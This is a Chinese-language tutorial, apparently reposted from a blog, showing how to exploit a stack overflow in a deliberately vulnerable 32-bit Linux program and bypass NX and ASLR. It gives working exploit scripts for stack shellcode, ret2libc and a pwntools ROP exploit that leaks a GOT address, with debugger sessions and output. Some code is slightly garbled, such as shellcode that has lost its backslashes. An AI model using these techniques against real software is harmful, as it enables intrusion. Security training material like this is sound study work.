Linux_x86下NX与ASLR绕过技术

zoukankan html css js c++ java

Linux_x86下NX与ASLR绕过技术
本文介绍Linux_x86下NX与ASLR绕过技术，并对GCC的Stack Canaries保护技术进行原理分析。

本文使用存在漏洞代码如下：
```
/* filename : sof.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void vulnerable_function() 
{
    char buf[128] = {0x00};
    read(STDIN_FILENO, buf, 256);
}
  
int main(int argc, char** argv) 
{
    vulnerable_function();
    return 0;
}
```
一、关闭NX，ASLR，Stack Canaries

root@ubuntu :~# echo 0 >/proc/sys/kernel/randomize_va_space
ez@ubuntu :~/workdir/rop$ gcc -fno-stack-protector -z execstack -o sof sof.c

接下来，1.找到溢出位置，2.构造shellcode

1.找到溢出位置

ez@ubuntu :~/workdir/rop$ ulimit -c 8096

ez@ubuntu :~/workdir/rop$ ./sof
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Segmentation fault (core dumped)

调试core文件：

ez@ubuntu :~/workdir/rop$ gdb ./sof core
Core was generated by `./sof'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x37654136 in ?? ()
(gdb)

ez@ubuntu:~/workdir/rop/tools$ python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

通过调试发现，溢出发生在140偏移处。下面验证我们的结论：

ez@ubuntu:~/workdir/rop$ gdb ./sof

(gdb) r
Starting program: /home/ez/workdir/rop/sof
CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) x/s $esp-144
0xbffff060: "CCCC", 'A' <repeats 136 times>, "DDDD 337426720361377277"
(gdb) x/s $esp-4
0xbffff0ec: "DDDD 337426720361377277"
(gdb)

画一张溢出时栈布局图，以便理解：

2.构造shellcode

我们将shellcode放到上图CCCC（0xbffff080）处，并将DDDD设置为shellcode地址：

（注意：gdb会改变栈布局影响shellcode地址，CCCC地址应通过调试coredump获得）
```
#!/usr/bin/env python
from struct import pack 
 
ret = 0xbffff080
#mkdir "HACK" & chmod 777 & exit()
shellcode = "x31xc0x50x68x48x41x43x4bxb0x27x89xe3x66x41xcdx80xb0x0fx66xb9xffx01xcdx80x31xc0x40xcdx80"
ret_fmt = pack("<I", ret)
payload = shellcode + 'A' * (140 - len(shellcode)) + ret_fmt
fp = open("payload", "wb")
fp.write(payload)
fp.close()
```
ez@ubuntu:~/workdir/rop$ ./sof < payload

成功执行后，在当前路径下创建权限为777的"HACK"目录。

二、Bypass NX

ez@ubuntu:~/workdir/rop$ gcc -fno-stack-protector -o sof2 sof.c

开启NX后，栈上shellcode变为不可执行。

复用上述payload，发现利用失败：

ez@ubuntu:~/workdir/rop$ ./sof2 < payload
Segmentation fault (core dumped)

查看两种编译选项下Stack区别，发现开启NX保护的栈变得不可执行（rw-p）：

ez@ubuntu:~/workdir/rop$ ./sof &
[1] 2089
ez@ubuntu:~/workdir/rop$ ./sof2 &
[2] 2090
ez@ubuntu:~/workdir/rop$ cat /proc/2089/maps
bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
ez@ubuntu:~/workdir/rop$ cat /proc/2090/maps
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]

接下来分析绕过方法，并演示"puts("/bin/sh")"功能的shellcode

首先计算puts符号及"/bin/sh"字符串在目标程序中的地址：

(gdb) b main
Breakpoint 1 at 0x804847d
(gdb) r
Starting program: /home/ez/workdir/rop/sof2
Breakpoint 1, 0x0804847d in main ()
(gdb) print puts
$1 = {} 0xb7e7e190 <_IO_puts>
(gdb)
(gdb) print __libc_start_main
$2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xb7e31990 <__libc_start_main>
(gdb)
(gdb) find 0xb7e31990, +2000000, "/bin/sh"
0xb7f795a4
warning: Unable to access 16000 bytes of target memory at 0xb7fc392c, halting search.
1 pattern found.
(gdb)
(gdb) print exit
$1 = {} 0xb7e4b400 <__GI_exit>
(gdb)

下面编写exp：
```
#!/usr/bin/env python
from struct import pack
ret = pack("<I", 0xb7e4b400) #exit() addr
putsaddr = pack("<I", 0xb7e7e190)
binshaddr = pack("<I", 0xb7f795a4)
payload =  'A'*140 + putsaddr + ret + binshaddr
fp = open("payload_bypassdep", "wb")
fp.write(payload)
fp.close()
```
解释一下payload的构造，首先使用'A' spay整个vulnerable_function函数的栈空间，接着覆盖返回地址为puts函数地址。栈上ret是puts返回时将执行的函数地址，这里选择exit函数。binshaddr是puts的第一个参数地址。

函数调用时，首先在栈中压入参数，接着压入函数返回地址，因此这样构造Payload。

ez@ubuntu:~/workdir/rop$ ./sof2 < payload_bypassdep
/bin/sh
ez@ubuntu:~/workdir/rop$

成功执行。在shell中打印"/bin/sh"字符串。上面的方法，称为Ret2Libc技术。

Bypass NX核心思想是，复用代码片段；栈上只提供函数参数，或地址。

三、Bypass ASLR

下面介绍比Ret2Libc更通用的技术，ROP。ROP更加通用的原因是，它复用的不仅是libc.so.6中的代码片段。

首先开启系统ASLR功能：

root@ubuntu :~# echo 2 >/proc/sys/kernel/randomize_va_space

开启ASLR后，动态库在进程中加载位置变的随机化，注意下面libc.so.6库每次加载位置的变化：

ez@ubuntu:~/workdir/rop$ ldd sof2
linux-gate.so.1 => (0xb77de000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7618000)
/lib/ld-linux.so.2 (0xb77df000)
ez@ubuntu:~/workdir/rop$ ldd sof2
linux-gate.so.1 => (0xb77cf000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7609000)
/lib/ld-linux.so.2 (0xb77d0000)

我们运行两个进程，验证一下：

ez@ubuntu:~/workdir/rop$ ps -ef |grep sof2 |grep -v "grep"
ez 2547 10044 0 08:50 pts/0 00:00:00 ./sof2
ez 2548 10044 0 08:51 pts/0 00:00:00 ./sof2
ez@ubuntu:~/workdir/rop$
ez@ubuntu:~/workdir/rop$ cat /proc/2547/maps
08048000-08049000 r-xp 00000000 08:01 567388 /home/ez/workdir/rop/sof2
08049000-0804a000 r--p 00000000 08:01 567388 /home/ez/workdir/rop/sof2
0804a000-0804b000 rw-p 00001000 08:01 567388 /home/ez/workdir/rop/sof2
b75db000-b75dc000 rw-p 00000000 00:00 0
b75dc000-b7785000 r-xp 00000000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b7785000-b7787000 r--p 001a9000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b7787000-b7788000 rw-p 001ab000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b7788000-b778b000 rw-p 00000000 00:00 0
b779f000-b77a1000 rw-p 00000000 00:00 0
b77a1000-b77a2000 r-xp 00000000 00:00 0 [vdso]
b77a2000-b77c2000 r-xp 00000000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
b77c2000-b77c3000 r--p 0001f000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
b77c3000-b77c4000 rw-p 00020000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
bfc5a000-bfc7b000 rw-p 00000000 00:00 0 [stack]

ez@ubuntu:~/workdir/rop$ cat /proc/2548/maps
08048000-08049000 r-xp 00000000 08:01 567388 /home/ez/workdir/rop/sof2
08049000-0804a000 r--p 00000000 08:01 567388 /home/ez/workdir/rop/sof2
0804a000-0804b000 rw-p 00001000 08:01 567388 /home/ez/workdir/rop/sof2
b7604000-b7605000 rw-p 00000000 00:00 0
b7605000-b77ae000 r-xp 00000000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b77ae000-b77b0000 r--p 001a9000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b77b0000-b77b1000 rw-p 001ab000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b77b1000-b77b4000 rw-p 00000000 00:00 0
b77c8000-b77ca000 rw-p 00000000 00:00 0
b77ca000-b77cb000 r-xp 00000000 00:00 0 [vdso]
b77cb000-b77eb000 r-xp 00000000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
b77eb000-b77ec000 r--p 0001f000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
b77ec000-b77ed000 rw-p 00020000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
bf8cb000-bf8ec000 rw-p 00000000 00:00 0 [stack]

会看到，栈、动态库的加载位置是变化的，而程序本身位置却无变化。所以可以将程序做为参照物，使用相对偏移计算库中元素位置。

接下来分析一下ELF的PLT段，我们发现read函数和write函数是在程序本身和动态库中共有的，可以选做参照物：

ez@ubuntu:~/workdir/rop$ objdump -d -j .plt sof2

sof2:     file format elf32-i386

Disassembly of section .plt:

08048300 <read@plt-0x10>:
8048300: ff 35 04 a0 04 08    pushl 0x804a004
8048306: ff 25 08 a0 04 08    jmp    *0x804a008
804830c: 00 00                add    %al,(%eax)
...

08048310 <read@plt>:
8048310: ff 25 0c a0 04 08    jmp    *0x804a00c
8048316: 68 00 00 00 00       push   $0x0
804831b: e9 e0 ff ff ff       jmp    8048300 <_init+0x30>

08048320 <__gmon_start__@plt>:
8048320: ff 25 10 a0 04 08    jmp    *0x804a010
8048326: 68 08 00 00 00       push   $0x8
804832b: e9 d0 ff ff ff       jmp    8048300 <_init+0x30>

08048330 <__libc_start_main@plt>:
8048330: ff 25 14 a0 04 08    jmp    *0x804a014
8048336: 68 10 00 00 00       push   $0x10
804833b: e9 c0 ff ff ff       jmp    8048300 <_init+0x30>

08048340 <write@plt>:
8048340: ff 25 18 a0 04 08    jmp    *0x804a018
8048346: 68 18 00 00 00       push   $0x18
804834b: e9 b0 ff ff ff       jmp    8048300 <_init+0x30>

利用这种方法，实现puts("/bin/sh")这样一个简单功能，因为puts符号和"/bin/sh"字符串都可以在glibc库中找到。

首先构造这样一个payload：

'A'*140 + plt_read + vulfun_addr + 2 + got_read + 4

使用read@plt地址覆盖返回地址，read()的参数分别设置stdout,buffer,4bytes。read()执行完后再次执行漏洞代码所以栈上设置了vulnerable_function()函数地址。

现在read@got里已经是库中read()函数的真实加载地址。分别通过偏移计算puts地址puts_addr，"/bin/sh"字串地址binsh_addr，exit地址exit_addr。

构造payload再次输入：

'A'*140 + puts_addr + exit_addr + binsh_addr

演示一处相对偏移地址计算：

(gdb) p read
$1 = {<text variable, no debug info>} 0x800db6f0 <read>
(gdb) p puts
$2 = {<text variable, no debug info>} 0x80066190 <puts>

(gdb) p/x 0x800db6f0-0x80066190
$3 = 0x75560

上面通过GDB演示2次交互过程，第一段payload执行完后，puts地址等当然可以在GDB中直接打印得到。通过pwntools编写的exp可以免去人的交互：
```
#!/usr/bin/env python
from pwn import *
  
libc = ELF('libc.so.6')
elf = ELF('sof2')
  
p = remote('127.0.0.1', 10888)
  
plt_read = elf.symbols['read'] #plt@read
got_read = elf.got['read'] #got@read
vulfun_addr = 0x80484fb  #vulnerable_function地址
'''
第一次执行后，got中read计算得到真实加载地址，p32(2) +p32(got_read) + p32(4)为read参数；
read执行完后接着再执行一次vulnerable_function函数
'''
payload1 = 'A'*140 + p32(plt_read) + p32(vulfun_addr) + p32(1) +p32(got_read) + p32(4)
  
print "
###sending payload1 ...###"
p.send(payload1)
  
print "
###receving read() addr...###"
read_addr = u32(p.recv(4)) #got@read真实地址
print "
###calculating puts() addr and "/bin/sh" addr...###"
# 计算puts地址
puts_addr = read_addr - (libc.symbols['read'] - libc.symbols['puts'])
# 计算"/bin/sh"字符串地址
binsh_addr = read_addr - (libc.symbols['read'] - next(libc.search('/bin/sh')))
  
payload2 = 'A'*140  + p32(puts_addr) + p32(vulfun_addr) + p32(binsh_addr)
  
print "
###sending payload2 ...###"
p.send(payload2)
```
运行sof2，绑定到10888端口：

socat TCP4-LISTEN:10888,fork EXEC:./sof2

执行exp：

ez@ubuntu:~/workdir/rop$ python bypass_aslr.py
[+] Opening connection to 127.0.0.1 on port 10888: Done
###sending payload1 ...###
###receving write() addr...###
###calculating puts() addr and "/bin/sh" addr...###
###sending payload2 ...###
[*] /bin/sh
[*] Closed connection to 127.0.0.1 port 10888
查看全文

相关阅读:
SQL注入过滤
 ASP.NET长文章分页
 简单的权限管理类
 不错的面试题
 【转载】【重要】Ubuntu Linux 下 Ffmpeg 及 Mencoder 安装使用小结
 回到xwindows
suse11 linux不自动启动xwindows
flash的几种工具
 mencoder和ffmpeg参数详解
 ffmpeg和Mencoder使用实例小全

原文地址：https://www.cnblogs.com/gm-201705/p/9901577.html

Linux_x86下NX与ASLR绕过技术

一、关闭NX，ASLR，Stack Canaries

二、Bypass NX

三、Bypass ASLR